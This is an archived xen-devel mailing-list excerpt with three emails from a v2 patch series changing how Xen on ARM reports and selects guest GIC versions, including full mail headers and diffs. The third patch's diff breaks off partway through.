Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c5180aa000edb5@swg.vates.tech>)
 id 1wiBjI-0004SV-Nx
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:57:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiBjI-00F3Mk-4c
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:57:24 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c5180aa000edb5@swg.vates.tech>)
 id 6a50fa2d-5cb7-0a2a0a5109dd-0a2a4503e71a-32
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:57:23 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c5180aa000edb5@swg.vates.tech>)
 id 6a50fa43-f2d2-0a2a45030019-b9ff1c239f15-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:57:23 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f4c5180aa000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 10 Jul 2026 13:57:17 +0000
Received: from julian.home (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr
 [90.112.16.6]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id B165C820B8;
 Fri, 10 Jul 2026 15:57:16 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=Lsoc4ug8plfaDXoIWfWtg1LL7EjTZvR1ZA/0ccPVE5k=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=HnjLC9+rw1D9y+p9GIv21ofWMK7TwKBXznKvzNHJLsGnWX+hBkAvZ7MV+ODoQghhA9dGEWl8T
 LrX2K6nb5a5tvnDEGWMeBflo6XD9qTR4PTbDWLDtapEyFS/QtZeVlnxxFewIWQtWftPPz68fzto
 JyzT/QwIPh0utrdQCzMv5ou0JcRzqSzuElwbKeWOFlZxYHAPmuqAE7VTx6k0ibXX4LtJG1UxvdB
 bQmkqJYQT2D7TdWvwoxMbIhTTsNaXby0aKNA+TY1fBS8tuNtIJjzVs+ht2/ZTKiF7xAG8FsIaUZ
 xb1SUydfPJu+7VPfzx+BNpPoV0lpUmn90lGZTzpsDnSA==
X-Zone-Loop: c2d1f69182098c79b37c5dd10e2b012f319813cd7036
x-campaign-type: default
x-transaction-id: ee2a9fd8-9fec-4902-be3a-f8ec0532eb32
x-swg-uid: 01-b398da1e-e39b-45b5-85de-3c67279991c9
X-Mailer: Sweego
Message-ID:
 <1783691837.8631fc262581453bbf619ec5b2062170.19f4c5180aa000edb5@vates.tech>
x-swg-bid: 1783691837.8631fc262581453bbf619ec5b2062170.19f4c5180aa000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v2 1/6] xen/arm: report proper GIC version via XEN_DOMCTL_getdomaininfo
Date: Fri, 10 Jul 2026 15:57:06 +0200
In-Reply-To: <20260710135503.301746-1-julian.vetter@vates.tech>
References: <20260710135503.301746-1-julian.vetter@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.633.cf18d9121f4d4a98.19f4c517e57.acef8c7e8dae3858=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783691837015
X-purgate-ID: tlsNG-33051d/1783691843-EBD53CF4-96564985/0/0
X-purgate-type: clean
X-purgate-size: 1918

---=Part.633.cf18d9121f4d4a98.19f4c517e57.acef8c7e8dae3858=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

When creating a domain on ARM, and passing XEN_DOMCTL_CONFIG_GIC_NATIVE
for the gic_version field in the struct xen_arch_domainconfig,
arch_sanitise_domain_config() resolves this to the approrpiate GIC_V2 or
GIC_V3 version the domain actually has, based on the host's
gic_hw_version()=2E That value is stored in the domain as
d->arch=2Evgic=2Eversion, but can't be queried through any other domctl
later=2E Toolstacks that create and build a domain in the same call
already have this info from the createdomain reply and never need to ask
again=2E

Toolstacks that create a domain and build it later from a separate
process do need to ask again=2E But, the ARM implementation only fills in
info->flags and info->gpaddr_bits=2E info->arch_config is left zeroed, so
XEN_DOMCTL_getdomaininfo always reports gic_version as
XEN_DOMCTL_CONFIG_GIC_NATIVE (0) regardless of what was actually
configured earlier=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
Changes in v2:
- Nothing
---
 xen/arch/arm/domctl=2Ec | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/xen/arch/arm/domctl=2Ec b/xen/arch/arm/domctl=2Ec
index 6c9a3f9920=2E=2Eb76af56fad 100644
--- a/xen/arch/arm/domctl=2Ec
+++ b/xen/arch/arm/domctl=2Ec
@@ -24,6 +24,8 @@ void arch_get_domain_info(const struct domain *d,
     info->flags |=3D XEN_DOMINF_hap;
=20
     info->gpaddr_bits =3D p2m_ipa_bits;
+
+    info->arch_config=2Egic_version =3D d->arch=2Evgic=2Eversion;
 }
=20
 static int handle_vuart_init(struct domain *d,=20
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.633.cf18d9121f4d4a98.19f4c517e57.acef8c7e8dae3858=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 13:57:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 13:57:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359406.1612994 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBjO-0004hI-Va; Fri, 10 Jul 2026 13:57:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359406.1612994; Fri, 10 Jul 2026 13:57:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBjO-0004hB-RU; Fri, 10 Jul 2026 13:57:30 +0000
Received: by outflank-mailman (input) for mailman id 1359406;
 Fri, 10 Jul 2026 13:57:29 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c518bf5000edb5@swg.vates.tech>)
 id 1wiBjN-0004g1-J6
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:57:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiBjM-00FOqr-W3
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:57:29 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c518bf5000edb5@swg.vates.tech>)
 id 6a50fa48-2eae-0a2a0a5409dd-0a2a450aa75a-0
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:57:28 +0200
Received: from [185.255.28.34] (helo=prod-mta-13-01.swg-srv.net)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c518bf5000edb5@swg.vates.tech>)
 id 6a50fa48-ec7d-0a2a450a0019-b9ff1c22a2c3-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:57:28 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-01.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f4c518bf5000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 10 Jul 2026 13:57:20 +0000
Received: from julian.home (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr
 [90.112.16.6]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id ABC20820B8;
 Fri, 10 Jul 2026 15:57:19 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=l8lXziu6+jnxnY050LpOjs1ccr9tt/9Lbrp1Dc/EtGg=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=dDidt1d5ZWR7cMJG+BNgos1S9++MArXtjjl6mLDxg8aOu3w7eUR4SBV2lCA7k3RMdTiUxbV5O
 /1AcFtEHhQHJdWpFvCL3L8d5UW0rXhhHMiVcbtGA6i5sV38cVbGYcDe36DRAn7CbcmjstHqyg9v
 crfuTM4owFb9vYzSf855inS/nkj7QbnMa8QXsvZ07/UZ4Wb0IKCtN8zoxSsMnAr9MZ4dDpej+dH
 JJ/3W8UbckqlPb9SzO/QZcA4iBEdmETYQMagj9keufW9/IlNbfMMJQ9bjD0+3QSQ9PuiDziP+sO
 BptKN6Ydsg6uLywE7VJA5iTAeooBVMUL617CMXh9PmxA==
X-Zone-Loop: e02953b81318053b3744d2cdaa42db0bc05e7ca1ed57
x-campaign-type: default
x-transaction-id: b02d21c7-7bbf-4e28-8224-ca97d2d1e2b3
x-swg-uid: 01-c8c45f15-cfba-4052-a185-71e4c078887d
X-Mailer: Sweego
Message-ID:
 <1783691840.8631fc262581453bbf619ec5b2062170.19f4c518bf5000edb5@vates.tech>
x-swg-bid: 1783691840.8631fc262581453bbf619ec5b2062170.19f4c518bf5000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v2 2/6] ARM/sysctl: Expose the supported guest GIC modes in physinfo
Date: Fri, 10 Jul 2026 15:57:07 +0200
In-Reply-To: <20260710135711.301993-1-julian.vetter@vates.tech>
References: <20260710135503.301746-1-julian.vetter@vates.tech>
 <20260710135711.301993-1-julian.vetter@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.634.2b000471eaa9bb0e.19f4c5189f9.ac1dba2105c365c7=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783691839993
X-purgate-ID: tlsNG-4011c0/1783691848-3D379248-B2201A0D/0/0
X-purgate-type: clean
X-purgate-size: 2693

---=Part.634.2b000471eaa9bb0e.19f4c5189f9.ac1dba2105c365c7=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

From: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>

Signed-off-by: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>
Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
Changes in v2:
- New patch
---
 xen/arch/arm/sysctl=2Ec       | 26 ++++++++++++++++++++++++++
 xen/include/public/sysctl=2Eh |  2 ++
 2 files changed, 28 insertions(+)

diff --git a/xen/arch/arm/sysctl=2Ec b/xen/arch/arm/sysctl=2Ec
index 32cab4feff=2E=2E3b0edf4cec 100644
--- a/xen/arch/arm/sysctl=2Ec
+++ b/xen/arch/arm/sysctl=2Ec
@@ -12,7 +12,10 @@
 #include <xen/dt-overlay=2Eh>
 #include <xen/errno=2Eh>
 #include <xen/hypercall=2Eh>
+
 #include <asm/arm64/sve=2Eh>
+#include <asm/gic=2Eh>
+
 #include <public/sysctl=2Eh>
=20
 void arch_do_physinfo(struct xen_sysctl_physinfo *pi)
@@ -21,6 +24,29 @@ void arch_do_physinfo(struct xen_sysctl_physinfo *pi)
=20
     pi->arch_capabilities |=3D MASK_INSR(sve_encode_vl(get_sys_vl_len()),
                                        XEN_SYSCTL_PHYSCAP_ARM_SVE_MASK);
+
+    /*
+     * The GIC version(s) we're happy creating guests with=2E  Right now =
for
+     * simplicity it is tied to the active hardware version, but this wil=
l
+     * cease to be the case if/when the compatbility modes are enabled=2E
+     */
+    switch ( gic_hw_version() )
+    {
+    case GIC_V2:
+        pi->arch_capabilities |=3D XEN_SYSCTL_PHYSCAP_ARM_GIC_V2;
+        break;
+
+    case GIC_V3:
+        pi->arch_capabilities |=3D XEN_SYSCTL_PHYSCAP_ARM_GIC_V3;
+        break;
+
+    case GIC_INVALID:
+        /*
+         * Running a control domain without having the GIC sorted yet?
+         * Something's broken, but there's nothing we can do about it her=
e=2E
+         */
+        break;
+    }
 }
=20
 long arch_do_sysctl(struct xen_sysctl *sysctl,
diff --git a/xen/include/public/sysctl=2Eh b/xen/include/public/sysctl=2Eh
index c7cd9b4eb0=2E=2Ed20ebf3644 100644
--- a/xen/include/public/sysctl=2Eh
+++ b/xen/include/public/sysctl=2Eh
@@ -106,6 +106,8 @@ struct xen_sysctl_tbuf_op {
=20
 #if defined(__arm__) || defined(__aarch64__)
 #define XEN_SYSCTL_PHYSCAP_ARM_SVE_MASK  (0x1FU)
+#define XEN_SYSCTL_PHYSCAP_ARM_GIC_V2    (1U << 5)
+#define XEN_SYSCTL_PHYSCAP_ARM_GIC_V3    (1U << 6)
 #endif
=20
 struct xen_sysctl_physinfo {
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.634.2b000471eaa9bb0e.19f4c5189f9.ac1dba2105c365c7=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 13:57:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 13:57:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359407.1613004 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBjU-0004zJ-6u; Fri, 10 Jul 2026 13:57:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359407.1613004; Fri, 10 Jul 2026 13:57:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiBjU-0004z6-2d; Fri, 10 Jul 2026 13:57:36 +0000
Received: by outflank-mailman (input) for mailman id 1359407;
 Fri, 10 Jul 2026 13:57:34 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c5194c3000edb5@swg.vates.tech>)
 id 1wiBjS-0004xj-LF
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 13:57:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiBjS-00F3Mk-1u
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:57:34 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c5194c3000edb5@swg.vates.tech>)
 id 6a50fa36-5cb7-0a2a0a5109dd-0a2a4507894a-36
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:57:34 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4c5194c3000edb5@swg.vates.tech>)
 id 6a50fa4d-ac46-0a2a45070019-b9ff1c23920d-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 15:57:33 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f4c5194c3000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 10 Jul 2026 13:57:22 +0000
Received: from julian.home (lfbn-gre-1-197-6.w90-112.abo.wanadoo.fr
 [90.112.16.6]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id E87BE820B8;
 Fri, 10 Jul 2026 15:57:21 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=KCeEks6QDNEl8+CB/TN5qB2vfef2xtiKavZmLJ3+6HA=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=Jd5f6J13Ar/DcRcSWPt1FRwdWlU8kngoM0w92IZ+wbeD6ZIOkVeT8Ulo/smmECeQu/387TG5G
 suNtTBr0fLXL76aI7/bf5ROl09pqqq3inK2iyETUPO7knrg2ejZZpARDrcCD9kLEYhxQa4pm/tc
 A1IaAmFryD2eDSrRbt3NN6y5ZcJJilIifOA8ypkNpO789e7+ftZ4sELW6SMv22w32jrj1BsPO4H
 JikUq4hgNOEApWhIioCrLLUUGoYLBVXMVbd1bCzDQOB0N/BbZNQv361XhfhDGfm/pkwDvpkY138
 6U85n12Rj8ITVveiVhQpBr7aKzy9nwN3O8CY6Od5LE8Q==
X-Zone-Loop: 54a2ed4566160615818d05f5a4f3ae4b632f55e48db4
x-campaign-type: default
x-transaction-id: 5e4c2080-f9f9-4ea1-b8f0-4bc3c81c7722
x-swg-uid: 01-2ce26901-d131-4059-9122-ebd3e8a0a0ef
X-Mailer: Sweego
Message-ID:
 <1783691842.8631fc262581453bbf619ec5b2062170.19f4c5194c3000edb5@vates.tech>
x-swg-bid: 1783691842.8631fc262581453bbf619ec5b2062170.19f4c5194c3000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v2 3/6] xen/arm: choose GIC version explicitly instead of GIC_NATIVE
Date: Fri, 10 Jul 2026 15:57:08 +0200
In-Reply-To: <20260710135711.301993-1-julian.vetter@vates.tech>
References: <20260710135503.301746-1-julian.vetter@vates.tech>
 <20260710135711.301993-1-julian.vetter@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.635.fa96f48aa331bd50.19f4c5192c3.fb37ab5d552954fb=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783691842243
X-purgate-ID: tlsNG-ef75cf/1783691854-1EB69201-EE30796D/0/0
X-purgate-type: clean
X-purgate-size: 10790

---=Part.635.fa96f48aa331bd50.19f4c5192c3.fb37ab5d552954fb=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

From: Andrew Cooper <andrew=2Ecooper3@citrix=2Ecom>

XEN_DOMCTL_CONFIG_GIC_NATIVE lets the toolstack ask Xen to silently
resolve the domain's GIC version to whatever the host hardware has=2E Xen
then writes the resolved value back into the same in/out
xen_arch_domainconfig the toolstack used as input, which is the kind of
API abuse we're trying to get rid of=2E The struct passed to createdomain
should only be an input parameter=2E

Move the "pick the best available GIC version" decision to the
toolstack, using the XEN_SYSCTL_PHYSCAP_ARM_GIC_V2/V3 capability bits
already exposed via XEN_SYSCTL_physinfo:

 * libxl__arch_domain_build_info_setdefault() resolves
   LIBXL_GIC_VERSION_DEFAULT to v3 if available, else v2, else fails,
   before the config is built=2E
 * The Python xc=2Edomain_create() binding does the same via a call to
   xc_physinfo()=2E
 * libxl__arch_domain_prepare_config() therefore only ever sees a
   concrete v2/v3 request and just validates it=2E

On the Xen side, arch_sanitise_domain_config() and the two in-Xen domain
builders (create_dom0() and arch_parse_dom0less_node(), which always
want a vGIC that exactly matches the hardware) no longer resolve
GIC_NATIVE either=2E A new gic_domctl_version() helper returns the
XEN_DOMCTL_CONFIG_GIC_* value matching the host's gic_hw_version(), used
by all three=2E arch_sanitise_domain_config() now only validates that the
requested version is compatible with the hardware, rather than changing
config->arch=2Egic_version in place=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
Changes in v2:
- New patch
---
 =2E=2E=2E/include/xen-tools/arm-arch-capabilities=2Eh | 21 ++++++++++++++=
++
 tools/libs/light/libxl_arm=2Ec                  | 15 ++++++++---
 tools/python/xen/lowlevel/xc/xc=2Ec             | 18 ++++++++++++-
 xen/arch/arm/dom0less-build=2Ec                 |  3 ++-
 xen/arch/arm/domain=2Ec                         | 25 +++++++------------
 xen/arch/arm/domain_build=2Ec                   |  3 ++-
 xen/arch/arm/gic=2Ec                            | 16 ++++++++++++
 xen/arch/arm/include/asm/gic=2Eh                |  6 +++++
 8 files changed, 85 insertions(+), 22 deletions(-)

diff --git a/tools/include/xen-tools/arm-arch-capabilities=2Eh b/tools/inc=
lude/xen-tools/arm-arch-capabilities=2Eh
index 4aa4c6c34a=2E=2E21e3c73bd1 100644
--- a/tools/include/xen-tools/arm-arch-capabilities=2Eh
+++ b/tools/include/xen-tools/arm-arch-capabilities=2Eh
@@ -6,6 +6,7 @@
 #ifndef ARM_ARCH_CAPABILITIES_H
 #define ARM_ARCH_CAPABILITIES_H
=20
+#include <stdbool=2Eh>
 #include <stdint=2Eh>
 #include <xen/sysctl=2Eh>
=20
@@ -25,4 +26,24 @@ unsigned int arch_capabilities_arm_sve(unsigned int arc=
h_capabilities)
 #endif
 }
=20
+static inline
+bool arch_capabilities_arm_gic_v2(unsigned int arch_capabilities)
+{
+#if defined(__arm__) || defined(__aarch64__)
+    return MASK_EXTR(arch_capabilities, XEN_SYSCTL_PHYSCAP_ARM_GIC_V2);
+#else
+    return false;
+#endif
+}
+
+static inline
+bool arch_capabilities_arm_gic_v3(unsigned int arch_capabilities)
+{
+#if defined(__arm__) || defined(__aarch64__)
+    return MASK_EXTR(arch_capabilities, XEN_SYSCTL_PHYSCAP_ARM_GIC_V3);
+#else
+    return false;
+#endif
+}
+
